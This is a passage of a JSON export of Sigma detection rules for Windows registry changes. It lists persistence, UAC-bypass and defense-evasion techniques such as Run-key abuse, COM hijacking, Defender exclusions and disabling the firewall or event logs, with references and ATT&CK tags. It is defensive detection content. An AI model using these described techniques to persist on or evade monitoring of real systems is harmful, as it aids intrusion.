"registry_set_susp_reg_persist_explorer_run.yml", "level": "high", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://researchcenter.paloaltonetworks.com/2018/07/unit42-upatre-continues-evolve-new-anti-analysis-techniques/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_susp_reg_persist_explorer_run.yml" ], "tags": [ "attack.persistence", "attack.t1547.001" ] }, "uuid": "b7916c2a-fa2f-4795-9477-32b731f70f11", "value": "Registry Persistence via Explorer Run Key" }, { "description": "Detects registry persistence technique using the GlobalFlags and SilentProcessExit keys", "meta": { "author": "Karneades, Jonhnathan Ribeiro, Florian Roth", "creation_date": "2018/04/11", "falsepositive": [ "Unknown" ], "filename": "registry_set_persistence_globalflags.yml", "level": "high", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://www.deepinstinct.com/2021/02/16/lsass-memory-dumps-are-stealthier-than-ever-before-part-2/", "https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_globalflags.yml" ], "tags": [ "attack.privilege_escalation", "attack.persistence", "attack.defense_evasion", "attack.t1546.012", "car.2013-01-002" ] }, "related": [ { "dest-uuid": "6d4a7fb3-5a24-42be-ae61-6728a2b581f6", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "36803969-5421-41ec-b92f-8500f79c23b0", "value": "Potential Persistence Via GlobalFlags" }, { "description": "Detects when an attacker modifies values of the Disk Cleanup Handler in the registry to achieve persistence via autorun.\nThe disk cleanup manager is part of the operating system.\nIt displays the dialog box […] The user has the option of enabling or disabling individual handlers by selecting or clearing their check box in the disk cleanup manager's UI.\nAlthough Windows comes with a number of disk cleanup handlers, they aren't designed to handle files produced by other applications.\nInstead, the disk cleanup manager is designed to be flexible and extensible by enabling any developer to implement and register their own disk cleanup handler.\nAny developer can extend the available disk cleanup services by implementing and registering a disk cleanup handler.\n", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/07/21", "falsepositive": [ "Unknown" ], "filename": "registry_set_disk_cleanup_handler_autorun_persistence.yml", "level": "medium", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://www.hexacorn.com/blog/2018/09/02/beyond-good-ol-run-key-part-86/", "https://persistence-info.github.io/Data/diskcleanuphandler.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disk_cleanup_handler_autorun_persistence.yml" ], "tags": [ "attack.persistence" ] }, "uuid": "d4e2745c-f0c6-4bde-a3ab-b553b3f693cc", "value": "Persistence Via Disk Cleanup Handler - Autorun" }, { "description": "Detects modification to the \"Default\" value of the \"MyComputer\" key and subkeys to point to a custom binary that will be launched whenever the associated action is executed (see reference section for example)", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/08/09", "falsepositive": [ "Unlikely but if you experience FPs add specific processes and locations you would like to monitor for" ], "filename": "registry_set_persistence_mycomputer.yml", "level": "high", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://www.hexacorn.com/blog/2017/01/18/beyond-good-ol-run-key-part-55/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_mycomputer.yml" ], "tags": [ "attack.persistence" ] }, "uuid": "8fbe98a8-8f9d-44f8-aa71-8c572e29ef06", "value": "Potential Persistence Via MyComputer Registry Keys" }, { "description": "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims.\nThe Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time\n", "meta": { "author": "frack113", "creation_date": "2021/12/30", "falsepositive": [ "Unknown" ], "filename": "registry_set_persistence_shim_databases.yml", "level": "medium", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.011/T1546.011.md#atomic-test-3---registry-key-creation-andor-modification-events-for-sdb", "https://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_shim_databases.yml" ], "tags": [ "attack.persistence", "attack.t1546.011" ] }, "related": [ { "dest-uuid": "42fe883a-21ea-4cfb-b94a-78b6476dcc83", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "dfb5b4e8-91d0-4291-b40a-e3b0d3942c45", "value": "Potential Persistence Via Shim Database Modification" }, { "description": "Detects suspicious new RUN key element pointing to an executable in a suspicious folder", "meta": { "author": "Florian Roth, Markus Neis, Sander Wiebing", "creation_date": "2018/08/25", "falsepositive": [ "Software using weird folders for updates" ], "filename": "registry_set_susp_run_key_img_folder.yml", "level": "high", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_susp_run_key_img_folder.yml" ], "tags": [ "attack.persistence", "attack.t1547.001" ] }, "uuid": "02ee49e2-e294-4d0f-9278-f5b3212fc588", "value": "New RUN Key Pointing to Suspicious Folder" }, { "description": "Detects the abuse of custom file open handler, executing powershell", "meta": { "author": "CD_R0M_", "creation_date": "2022/06/11", "falsepositive": [ "Unknown" ], "filename": "registry_set_custom_file_open_handler_powershell_execution.yml", "level": "high", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://news.sophos.com/en-us/2022/02/01/solarmarker-campaign-used-novel-registry-changes-to-establish-persistence/?cmp=30728", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_custom_file_open_handler_powershell_execution.yml" ], "tags": [ "attack.defense_evasion", "attack.t1202" ] }, "related": [ { "dest-uuid": "3b0e52ce-517a-4614-a523-1bd5deef6c5e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "7530b96f-ad8e-431d-a04d-ac85cc461fdc", "value": "Custom File Open Handler Executes PowerShell" }, { "description": "Detect the creation of a service with a service binary located in a suspicious directory", "meta": { "author": "Florian Roth, frack113", "creation_date": "2022/05/02", "falsepositive": [ "Unknown" ], "filename": "registry_set_creation_service_susp_folder.yml", "level": "high", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_creation_service_susp_folder.yml" ], "tags": [ "attack.defense_evasion", "attack.t1112" ] }, "uuid": "a07f0359-4c90-4dc4-a681-8ffea40b4f47", "value": "Service Binary in Suspicious Folder" }, { "description": "Detects changes to the NGenAssemblyUsageLog registry key.\n.NET Usage Log output location can be controlled by setting the NGenAssemblyUsageLog CLR configuration knob in the Registry or by configuring an environment variable (as described in the next section).\nBy simplify specifying an arbitrary value (e.g. fake output location or junk data) for the expected value, a Usage Log file for the .NET execution context will not be created.\n", "meta": { "author": "frack113", "creation_date": "2022/11/18", "falsepositive": [ "Unknown" ], "filename": "registry_set_net_cli_ngenassemblyusagelog.yml", "level": "high", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://bohops.com/2021/03/16/investigating-net-clr-usage-log-tampering-techniques-for-edr-evasion/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_net_cli_ngenassemblyusagelog.yml" ], "tags": [ "attack.defense_evasion", "attack.t1112" ] }, "uuid": "28036918-04d3-423d-91c0-55ecf99fb892", "value": "NET NGenAssemblyUsageLog Registry Key Tamper" }, { "description": "Change outlook email security settings", "meta": { "author": "frack113", "creation_date": "2021/12/28", "falsepositive": [ "Administrative scripts" ], "filename": "registry_set_outlook_security.yml", "level": "medium", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://docs.microsoft.com/en-us/outlook/troubleshoot/security/information-about-email-security-settings", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1137/T1137.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_outlook_security.yml" ], "tags": [ "attack.persistence", "attack.t1137" ] }, "related": [ { "dest-uuid": "2c4d4e92-0ccf-4a97-b54c-86d662988a53", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "c3cefdf4-6703-4e1c-bad8-bf422fc5015a", "value": "Change Outlook Security Setting in Registry" }, { "description": "Detects modification of autostart extensibility point (ASEP) in registry.", "meta": { "author": "Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split), wagga (name)", "creation_date": "2019/10/25", "falsepositive": [ "Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason", "Legitimate administrator sets up autorun keys for legitimate reason" ], "filename": "registry_set_asep_reg_keys_modification_common.yml", "level": "medium", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns", "https://persistence-info.github.io/Data/userinitmprlogonscript.html", "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_common.yml" ], "tags": [ "attack.persistence", "attack.t1547.001" ] }, "uuid": "f59c3faf-50f3-464b-9f4c-1b67ab512d99", "value": "Common Autorun Keys Modification" }, { "description": "Detects changes to the \"ExtErrorInformation\" key in order to disable ETW logging for rpcrt4.dll", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/12/09", "falsepositive": [ "Unknown" ], "filename": "registry_set_rpcrt4_etw_tamper.yml", "level": "low", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "http://redplait.blogspot.com/2020/07/whats-wrong-with-etw.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_rpcrt4_etw_tamper.yml" ], "tags": [ "attack.defense_evasion", "attack.t1112", "attack.t1562" ] }, "related": [ { "dest-uuid": "3d333250-30e4-4a82-9edc-756c68afc529", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "90f342e1-1aaa-4e43-b092-39fda57ed11e", "value": "ETW Logging Disabled For rpcrt4.dll" }, { "description": "Detect use of scrobj.dll as this DLL looks for the ScriptletURL key to get the location of the script to execute", "meta": { "author": "frack113", "creation_date": "2022/08/20", "falsepositive": [ "Legitimate use of the dll." ], "filename": "registry_set_persistence_scrobj_dll.yml", "level": "medium", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1546.015/T1546.015.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_scrobj_dll.yml" ], "tags": [ "attack.persistence", "attack.t1546.015" ] }, "related": [ { "dest-uuid": "bc0f5e80-91c0-4e04-9fbb-e4e332c85dae", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "fe20dda1-6f37-4379-bbe0-a98d400cae90", "value": "Potential Persistence Via Scrobj.dll COM Hijacking" }, { "description": "Detect enable rdp feature to allow specific user to rdp connect on the targeted machine", "meta": { "author": "frack113", "creation_date": "2022/08/19", "falsepositive": [ "Legitmate use of the feature (alerts should be investigated either way)" ], "filename": "registry_set_allow_rdp_remote_assistance_feature.yml", "level": "medium", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1112/T1112.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_allow_rdp_remote_assistance_feature.yml" ], "tags": [ "attack.defense_evasion", "attack.t1112" ] }, "uuid": "37b437cf-3fc5-4c8e-9c94-1d7c9aff842b", "value": "Allow RDP Remote Assistance Feature" }, { "description": "Detects tampering to RDP Terminal Service/Server sensitive settings.\nSuch as allowing unauthorized users access to a system via the 'fAllowUnsolicited' or enabling RDP via 'fDenyTSConnections'...etc\n", "meta": { "author": "Samir Bousseaden, David ANDRE, Roberto Rodriguez @Cyb3rWard0g, Nasreddine Bencherchali", "creation_date": "2022/08/06", "falsepositive": [ "Some of the keys mentioned here could be modified by an administrator while setting group policy (it should be investigated either way)" ], "filename": "registry_set_terminal_server_tampering.yml", "level": "high", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://twitter.com/SagieSec/status/1469001618863624194?t=HRf0eA0W1YYzkTSHb-Ky1A&s=03", "https://threathunterplaybook.com/notebooks/windows/05_defense_evasion/WIN-190407183310.html", "http://woshub.com/rds-shadow-how-to-connect-to-a-user-session-in-windows-server-2012-r2/", "https://blog.menasec.net/2019/02/threat-hunting-rdp-hijacking-via.html", "https://bazaar.abuse.ch/sample/6f3aa9362d72e806490a8abce245331030d1ab5ac77e400dd475748236a6cc81/", "https://admx.help/HKLM/SOFTWARE/Policies/Microsoft/Windows%20NT/Terminal%20Services", "http://etutorials.org/Microsoft+Products/microsoft+windows+server+2003+terminal+services/Chapter+6+Registry/Registry+Keys+for+Terminal+Services/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_terminal_server_tampering.yml" ], "tags": [ "attack.defense_evasion", "attack.persistence", "attack.t1112" ] }, "uuid": "3f6b7b62-61aa-45db-96bd-9c31b36b653c", "value": "RDP Sensitive Settings Changed" }, { "description": "Adversaries may use port monitors to run an attacker supplied DLL during system boot for persistence or privilege escalation.\nA port monitor can be set through the AddMonitor API call to set a DLL to be loaded at startup.\n", "meta": { "author": "frack113", "creation_date": "2021/12/30", "falsepositive": [ "Unknown" ], "filename": "registry_set_add_port_monitor.yml", "level": "high", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.010/T1547.010.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_add_port_monitor.yml" ], "tags": [ "attack.persistence", "attack.t1547.010" ] }, "related": [ { "dest-uuid": "43881e51-ac74-445b-b4c6-f9f9e9bf23fe", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "944e8941-f6f6-4ee8-ac05-1c224e923c0e", "value": "Add Port Monitor Persistence in Registry" }, { "description": "Detects modification of autostart extensibility point (ASEP) in registry.", "meta": { "author": "Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split)", "creation_date": "2019/10/25", "falsepositive": [ "Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason", "Legitimate administrator sets up autorun keys for legitimate reason" ], "filename": "registry_set_asep_reg_keys_modification_office.yml", "level": "medium", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns", "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_office.yml" ], "tags": [ "attack.persistence", "attack.t1547.001" ] }, "uuid": "baecf8fb-edbf-429f-9ade-31fc3f22b970", "value": "Office Autorun Keys Modification" }, { "description": "Detects modification of autostart extensibility point (ASEP) in registry.", "meta": { "author": "Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split)", "creation_date": "2019/10/25", "falsepositive": [ "Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason", "Legitimate administrator sets up autorun keys for legitimate reason" ], "filename": "registry_set_asep_reg_keys_modification_wow6432node_classes.yml", "level": "medium", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns", "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_wow6432node_classes.yml" ], "tags": [ "attack.persistence", "attack.t1547.001" ] }, "uuid": "18f2065c-d36c-464a-a748-bcf909acb2e3", "value": "Wow6432Node Classes Autorun Keys Modification" }, { "description": "Detects registry modifications that hide internal tools or functions from the user (malware like Agent Tesla, Hermetic Wiper uses this technique)", "meta": { "author": "frack113", "creation_date": "2022/03/18", "falsepositive": [ "Legitimate admin script" ], "filename": "registry_set_hide_function_user.yml", "level": "medium", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1564.001/T1564.001.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_hide_function_user.yml" ], "tags": [ "attack.defense_evasion", "attack.t1112" ] }, "uuid": "5a93eb65-dffa-4543-b761-94aa60098fb6", "value": "Registry Hide Function from User" }, { "description": "Detects set value ms-msdt MSProtocol URI scheme in Registry that could be an attempt to exploit CVE-2022-30190.", "meta": { "author": "Sittikorn S", "creation_date": "2020/05/31", "falsepositive": [ "Unknown" ], "filename": "registry_set_cve_2022_30190_msdt_follina.yml", "level": "medium", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/", "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-30190", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_cve_2022_30190_msdt_follina.yml" ], "tags": [ "attack.defense_evasion", "attack.t1221" ] }, "related": [ { "dest-uuid": "dc31fe1e-d722-49da-8f5f-92c7b5aff534", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "2d9403d5-7927-46b7-8216-37ab7c9ec5e3", "value": "Suspicious Set Value of MSDT in Registry (CVE-2022-30190)" }, { "description": "Detects potential COM object hijacking leveraging the COM Search Order", "meta": { "author": "Maxime Thiebaut (@0xThiebaut), oscd.community, Cédric Hien", "creation_date": "2020/04/14", "falsepositive": [ "Some installed utilities (i.e. OneDrive) may serve new COM objects at user-level" ], "filename": "registry_set_persistence_search_order.yml", "level": "medium", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://www.cyberbit.com/blog/endpoint-security/com-hijacking-windows-overlooked-security-vulnerability/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_search_order.yml" ], "tags": [ "attack.persistence", "attack.t1546.015" ] }, "related": [ { "dest-uuid": "bc0f5e80-91c0-4e04-9fbb-e4e332c85dae", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "a0ff33d8-79e4-4cef-b4f3-9dc4133ccd12", "value": "Potential Persistence Via COM Search Order Hijacking" }, { "description": "Detects the pattern of UAC Bypass using a path parsing issue in winsat.exe (UACMe 52)", "meta": { "author": "Christian Burkard", "creation_date": "2021/08/30", "falsepositive": [ "Unknown" ], "filename": "registry_set_uac_bypass_winsat.yml", "level": "high", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://github.com/hfiref0x/UACME", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_uac_bypass_winsat.yml" ], "tags": [ "attack.defense_evasion", "attack.privilege_escalation", "attack.t1548.002" ] }, "related": [ { "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "6597be7b-ac61-4ac8-bef4-d3ec88174853", "value": "UAC Bypass Abusing Winsat Path Parsing - Registry" }, { "description": "Detects the pattern of UAC Bypass using Windows Media Player osksupport.dll (UACMe 32)", "meta": { "author": "Christian Burkard", "creation_date": "2021/08/23", "falsepositive": [ "Unknown" ], "filename": "registry_set_uac_bypass_wmp.yml", "level": "high", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://github.com/hfiref0x/UACME", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_uac_bypass_wmp.yml" ], "tags": [ "attack.defense_evasion", "attack.privilege_escalation", "attack.t1548.002" ] }, "related": [ { "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "5f9db380-ea57-4d1e-beab-8a2d33397e93", "value": "UAC Bypass Using Windows Media Player - Registry" }, { "description": "Detects tampering with attachment manager settings policies attachments (See reference for more information)", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/08/01", "falsepositive": [ "Unlikely" ], "filename": "registry_set_policies_attachments_tamper.yml", "level": "high", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://support.microsoft.com/en-us/topic/information-about-the-attachment-manager-in-microsoft-windows-c48a4dcd-8de5-2af5-ee9b-cd795ae42738", "https://www.virustotal.com/gui/file/2bcd5702a7565952c44075ac6fb946c7780526640d1264f692c7664c02c68465", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_policies_attachments_tamper.yml" ], "tags": [ "attack.defense_evasion" ] }, "uuid": "ee77a5db-b0f3-4be2-bfd4-b58be1c6b15a", "value": "Potential Attachment Manager Settings Attachments Tamper" }, { "description": "Detects the Setting of Windows Defender Exclusions", "meta": { "author": "Christian Burkard", "creation_date": "2021/07/06", "falsepositive": [ "Administrator actions" ], "filename": "registry_set_defender_exclusions.yml", "level": "medium", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://twitter.com/_nullbind/status/1204923340810543109", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_defender_exclusions.yml" ], "tags": [ "attack.defense_evasion", "attack.t1562.001" ] }, "uuid": "a982fc9c-6333-4ffb-a51d-addb04e8b529", "value": "Windows Defender Exclusions Added - Registry" }, { "description": "Detects tampering with the \"ChannelAccess\" registry key in order to change access to windows event channel", "meta": { "author": "frack113", "creation_date": "2022/09/17", "falsepositive": [ "Unknown" ], "filename": "registry_set_change_winevt_channelaccess.yml", "level": "high", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://learn.microsoft.com/en-us/windows/win32/api/winevt/", "https://app.any.run/tasks/77b2e328-8f36-46b2-b2e2-8a80398217ab/", "https://itconnect.uw.edu/tools-services-support/it-systems-infrastructure/msinf/other-help/understanding-sddl-syntax/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_change_winevt_channelaccess.yml" ], "tags": [ "attack.defense_evasion", "attack.t1562.002" ] }, "related": [ { "dest-uuid": "4eb28bed-d11a-4641-9863-c2ac017d910a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "7d9263bd-dc47-4a58-bc92-5474abab390c", "value": "Change Winevt Event Access Permission Via Registry" }, { "description": "Detects modification of autostart extensibility point (ASEP) in registry.", "meta": { "author": "Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split)", "creation_date": "2019/10/25", "falsepositive": [ "Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason", "Legitimate administrator sets up autorun keys for legitimate reason" ], "filename": "registry_set_asep_reg_keys_modification_winsock2.yml", "level": "medium", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns", "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_winsock2.yml" ], "tags": [ "attack.persistence", "attack.t1547.001" ] }, "uuid": "d6c2ce7e-afb5-4337-9ca4-4b5254ed0565", "value": "WinSock2 Autorun Keys Modification" }, { "description": "Detects the disabling of the Windows Defender eventlog as seen in relation to Lockbit 3.0 infections", "meta": { "author": "Florian Roth", "creation_date": "2022/07/04", "falsepositive": [ "Other Antivirus software installations could cause Windows to disable that eventlog (unknown)" ], "filename": "registry_set_disabled_microsoft_defender_eventlog.yml", "level": "high", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://twitter.com/WhichbufferArda/status/1543900539280293889/photo/2", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disabled_microsoft_defender_eventlog.yml" ], "tags": [ "attack.defense_evasion", "attack.t1562.001" ] }, "uuid": "fcddca7c-b9c0-4ddf-98da-e1e2d18b0157", "value": "Disabled Windows Defender Eventlog" }, { "description": "Detect set EnableFirewall to 0 to disable the windows firewall", "meta": { "author": "frack113", "creation_date": "2022/08/19", "falsepositive": [ "Unknown" ], "filename": "registry_set_disable_windows_firewall.yml", "level": "medium", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1562.004/T1562.004.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_windows_firewall.yml" ], "tags": [ "attack.defense_evasion", "attack.t1562.004" ] }, "related": [ { "dest-uuid": "5372c5fe-f424-4def-bcd5-d3a8e770f07b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "e78c408a-e2ea-43cd-b5ea-51975cf358c0", "value": "Disable Windows Firewall by Registry" }, { "description": "Detects potential persistence activity via the registering of a new custom protocole handlers. While legitimate applications register protocole handlers often times during installation. And attacker can abuse this by setting a custom handler to be used as a persistence mechanism.", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/05/30", "falsepositive": [ "Legitimate applications registering a new custom protocol handler" ], "filename": "registry_set_persistence_custom_protocol_handler.yml", "level": "medium", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://ladydebug.com/blog/2019/06/21/custom-protocol-handler-cph/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_custom_protocol_handler.yml" ], "tags": [ "attack.defense_evasion", "attack.t1112" ] }, "uuid": "fdbf0b9d-0182-4c43-893b-a1eaab92d085", "value": "Potential Persistence Via Custom Protocol Handler" }, { "description": "Detect modification for a specific user to prevent that user from being listed on the logon screen", "meta": { "author": "frack113", "creation_date": "2022/08/20", "falsepositive": [ "Unknown" ], "filename": "registry_set_add_hidden_user.yml", "level": "high", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1564.002/T1564.002.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_add_hidden_user.yml" ], "tags": [ "attack.defense_evasion", "attack.t1564.002" ] }, "related": [ { "dest-uuid": "8c4aef43-48d5-49aa-b2af-c0cd58d30c3d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "8a58209c-7ae6-4027-afb0-307a78e4589a", "value": "User Account Hidden By Registry" }, { "description": "Attempts to detect system changes made by Blue Mockingbird", "meta": { "author": "Trent Liffick (@tliffick)", "creation_date": "2020/05/14", "falsepositive": [ "Unknown" ], "filename": "registry_set_mal_blue_mockingbird.yml", "level": "high", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://redcanary.com/blog/blue-mockingbird-cryptominer/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_mal_blue_mockingbird.yml" ], "tags": [ "attack.execution", "attack.t1112", "attack.t1047" ] }, "related": [ { "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "92b0b372-a939-44ed-a11b-5136cf680e27", "value": "Blue Mockingbird - Registry" }, { "description": "Detect the creation of a service with a service binary located in a uncommon directory", "meta": { "author": "Florian Roth", "creation_date": "2022/05/02", "falsepositive": [ "Unknown" ], "filename": "registry_set_creation_service_uncommon_folder.yml", "level": "medium", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_creation_service_uncommon_folder.yml" ], "tags": [ "attack.defense_evasion", "attack.t1112" ] }, "uuid": 